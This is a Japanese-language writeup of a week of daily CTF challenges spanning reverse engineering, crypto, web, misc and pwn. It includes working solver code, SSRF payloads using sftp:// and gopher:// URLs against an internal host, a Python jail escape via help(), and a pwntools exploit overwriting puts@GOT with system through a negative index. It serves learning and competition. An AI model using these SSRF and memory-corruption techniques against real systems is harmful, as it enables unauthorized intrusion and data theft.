Daily AlpacaHack Writeup (2026-05-11 ~ 2026-05-17)
Daily AlpacaHack の Writeup.
(2026/5/11 - 2026/5/17)
Mirage (Rev, 2026/5/11)
- フラグチェッカーの問題
- 入力に対して一文字ごとに状態変数を用いた暗号化と状態の更新を行っている
- 暗号化されたフラグと可逆な暗号化プロセスがあるため, 復号処理を書いてフラグ獲得 (状態の更新があるため1文字目から順に復号する必要がある)
def step(s): bit = ((s >> 0) ^ (s >> 2) ^ (s >> 3) ^ (s >> 5)) & 1 return (s >> 1) | (bit << 15) enc = [ 0x31, 0x54, 0x6c, 0x2f, 0x04, 0x52, 0x22, 0x41, 0x3f, 0x59, 0x27, 0x45, 0x67, 0x79, 0x1a, 0x4e, 0x78, 0x2d, 0x19 ] flag = "" N = 19 state = 0xace1 for i in range(N): state = step(state) flag += chr(enc[i] ^ (state & 0x7f)) print(flag)
hidden service (Misc, 2026/5/12)
- Docker で二つのサービスが建てられているが, 片方のサービス名が分からない (両方のコンテナでは python が有効になっている)
- Docker Compose で services 内のサービスは指定がなければ同一のネットワークに属する
- 自分の環境でコンテナを建てて二つのサービスで
cat /etc/hostsでローカル IP アドレスを確認すると, 末尾のアドレスが 2 か 3 になっていることから, ローカルアドレスはサブネットの小さいほうから順に指定されるものっぽい - 上記の推測で問題のコンテナに nc でアクセスし, 自分のアドレスを確認したところ
172.16.43.2であったため,172.16.43.3にアクセスしecho $FLAGを送るとフラグが返ってきた
>>> import socket >>> sock = socket.create_connection(("172.16.43.3", 1337)) >>> sock.sendall(b"echo test\n") >>> print(sock.recv(4096).decode(errors="replace"), end="") $ test $ >>> sock.sendall(b"echo $FLAG\n") >>> print(sock.recv(4096).decode(errors="replace"), end="")
Super Short Python Golf (Misc, 2026/5/13)
- 6文字以内のコードで長い変数名の変数の値を読み取る必要がある
- sknb CTF の過去問で Unicode 正規化を使った似た名前の問題があったが, そちらと違い Unicode 正規化は使えないようにされていた
- 組み込み関数で短い名前を調べると
vars()などはあるが標準出力がブロックされているため難しい help()が引数なしだと対話モードに入ることが可能で, モジュールの説明などが閲覧できる__main__を調べるとフラグが閲覧できた (if __name__ == "__main__"のやつ)
Equation Cipher (Crypto, 2026/5/14)
- sage に入門するための問題
- $2, 3, 5, ... (p_1, p_2, p_3, ...)$ のように素数を小さい順にとってきて, フラグの $n$ 文字目 ($m_n$) に対して $(p_n x - m_n)$ を因数として掛けていき, 多項式を構築して出力するプログラム
- 多項式の因数分解を行えばフラグが特定できる
- sage math では整数多項式の因数分解ができるため, 因数分解を行ったうえで各 $p_n$ に対応する因数の項の $m_n$ 部分を抽出することでフラグが獲得できる
- $gcd(p_n, m_n) = 1$ ではない場合に公倍数がくくりだされてしまうが, $p_n$ で見つからなかった部分のみ @ マークで代用してフラグを作ってみるとフラグの中身部分は全部取り出せていたため結果的にうまく復号できた
R.<x> = PolynomialRing(ZZ) f = 31610054640417607788145206291543662493274686990*x^30 - 5546471172446267199908288813955709803894916863891*x^29 + 433377935277645564002255944149331102759097629016976*x^28 - 20142037483382706903735824573121411902072690581870353*x^27 + 628544975730398871952578254972056210769133972308504238*x^26 - 14103203499469477196397673041977273198535463720813511496*x^25 + 237936120625135634298766663271669339974273400622139140960*x^24 - 3115189058113046486649615994424685527137213009829786565804*x^23 + 32401871716234905249787787204642478781456178620700250924372*x^22 - 272588704925637211917704819950233127485929706270916078270242*x^21 + 1880938145459784850972701297509835120940908214418826398760504*x^20 - 10763595238894425529022977468248701808343818896426097084206310*x^19 + 51526609793195732269526279558164302129809486380649140800756516*x^18 - 207752493375686531062097899074646509781607134964754126545962428*x^17 + 709168993683880913589126689552976392852747044942203144814007928*x^16 - 2057178862028324030398361920847595153200891849084132353697223756*x^15 + 5083636482416115163931720576158038567306017017139089684379461950*x^14 - 10714500940878830033395315629846816330361955820426708798364298979*x^13 + 19258823542165940827067059561652735453012561234462519554892085912*x^12 - 29480419871976010166463893203536030034901787891137207651668574577*x^11 + 38320241257145304710248587679172535167064005500317650323655681934*x^10 - 42103071630188436582653862079777246995177378998686214418442724964*x^9 + 38840465015774891376336339299943076877369920237254794599199115720*x^8 - 29804097541883980161879878306614825893854901879785989447615831200*x^7 + 18778736485528317301569303423227100599378393981146669277915712000*x^6 - 9541503279865279339054547002680737522226346240120256811709440000*x^5 + 3809937603952003187190136727046451246385385383157072044908800000*x^4 - 1150226737694531474138472921561694773373313260537777208448000000*x^3 + 246633734202321645382654677996809754173436069507161134080000000*x^2 - 33448067898412413588890754448308946426268551579304755200000000*x + 2155435801475328219020318065287659822070611098828800000000000 fac = f.factor() print(fac) p = prime_range(200) ans = [0x100]*len(p) for g, e in fac: if g.degree() != 1: continue a = ZZ(g[1]) c = ZZ(g[0]) if a in p: ans[p.index(a)] = -c flag = "" for od in ans: if od < 0xff: flag += chr(od) else: flag += "@" print(flag) exit() ans = [] used = [False] * len(roots) for p in prime_range(200): b = 0x100 found_index = None for i, root in enumerate(roots): if used[i]: continue candidate = QQ(p) * root if candidate.denominator() != 1: continue candidate = ZZ(candidate) if 0 <= candidate < 0x100: b = candidate found_index = i break if found_index is not None: used[found_index] = True ans.append(b) print(ans) print("".join(chr(c) for c in ans if c != 0x100))
curl as a service (Web, Misc, 2026/5/15)
- curl を行うサービス
- サーバー側のネットワークの secret からフラグを取得する必要がある
- curl は sftp など ssh プロトコルが使用可能のため, 以下のようにログインしてルートのファイル一覧を読み込める
sftp://alpaca:hack@secret/
- 上の結果にフラグのファイル名が出てきたため, 同じ方法でフラグを取得可能
Please Link This (Pwn, 2026/5/16)
main関数内でインデックスを指定して書き込みを行うプログラム- いつも通りインデックスに負の数が指定できるようになっている
puts関数に "/bin/sh;" という文字列が渡されている箇所があるため,puts関数の GOT をsystemに書き換えればクリアと考えられるputsの GOT を以下で調べると 0x404000 で,valuesのアドレスが0x404060のため, -12 をインデックスとして指定すればputsの GOT が呼び出せる
readelf -r ./chal | grep puts
- 今回は
main関数内でsystemが呼ばれているため,system@pltが存在するのでputs@gotに書き込めばsystem関数を呼べるようになる
from pwn import * context.binary = "./chal" elf = ELF("./chal") is_remote = True if is_remote: _, host, port = "nc 34.170.146.252 25168".split() sh = remote(host, port) else: context.terminal = ["tmux", "splitw", "-h"] sh = process() gdb.attach(sh, gdbscript=""" break *main+171 break *main+183 c """) prompt = sh.recvuntil("pos >".encode()) print(prompt.decode()) sh.sendline(str((elf.got["puts"]-0x404060)//8).encode()) print(f"send {(elf.got["puts"]-0x404060)//8}") prompt = sh.recvuntil("val >".encode()) print(prompt.decode()) sh.sendline(str(elf.plt["system"]).encode()) sh.interactive()
curl as a service 2 (Web, Misc, 2026/5/17)
- curl をしてくれるサービス
- 前回の問題と異なり今回は "Give me a flag" という文字列を送る必要があるため sftp プロトコルのようにファイルを受け取るだけのプロトコルではうまくいかない
- 通信プロトコルをいろいろ探すと, Gopher という (古来の?) プロトコルで TCP を叩き文字列を送ることができるらしい (参考記事)
- 以下の URL で合言葉を送ることでフラグが獲得できた (アンダーバーは Raw モードを示すもので, その後に続く文字列がそのまま送られる)
gopher://secret:1337/_Give%20me%20a%20flag%0A